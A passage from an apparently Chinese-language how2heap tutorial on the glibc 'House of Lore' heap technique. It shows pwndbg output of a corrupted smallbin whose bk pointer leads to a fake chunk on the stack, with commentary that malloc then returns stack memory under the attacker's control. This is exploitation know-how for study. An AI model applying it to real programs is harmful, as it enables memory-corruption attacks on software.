   f 4        1f7b99608
Breakpoint /ctf/work/how2heap/house_of_lore.c:63
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop    
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Used                None              None
0x603070            0x70                0x3f0                Used                None              None
0x603460            0x0                 0x4c0                Used                None              None
pwndbg> x/40gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000071
0x603010:       0x00007ffff7dd1bd8      0x00007fffffffe590
0x603020:       0x0000000000000000      0x0000000000000000
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000000000
0x603070:       0x0000000000000070      0x00000000000003f1
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
0x6030a0:       0x0000000000000000      0x0000000000000000
0x6030b0:       0x0000000000000000      0x0000000000000000
0x6030c0:       0x0000000000000000      0x0000000000000000
0x6030d0:       0x0000000000000000      0x0000000000000000
0x6030e0:       0x0000000000000000      0x0000000000000000
0x6030f0:       0x0000000000000000      0x0000000000000000
0x603100:       0x0000000000000000      0x0000000000000000
0x603110:       0x0000000000000000      0x0000000000000000
0x603120:       0x0000000000000000      0x0000000000000000
0x603130:       0x0000000000000000      0x0000000000000000
pwndbg> p p4
$1 = 0x7fffffffe5a0 "\330\033\335\367\377\177"
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007ffff7dd1bd8      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0xda812b0bc8e82d00

pwndbg> p p4
$1 = 0x7fffffffe5a0 "\330\033\335\367\377\177"
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007ffff7dd1bd8      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0xda812b0bc8e82d00
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop    

largebins
empty
pwndbg> 
 

再一次malloc将返回fake chunk 1的地址,地址在栈上且我们能够控制。​ 于是我们就成功地骗过了malloc在栈上分配了一个chunk。在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 0x7ffff7dd1bd8

最后再想一下,其实最初的victim chunk使用fast chunk也是可以的,其释放后虽然是被加入到 fast bins中,而不是unsorted bin,但malloc之后,也会被整理到small bins里。自行尝试吧。

 4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

02-12 13:34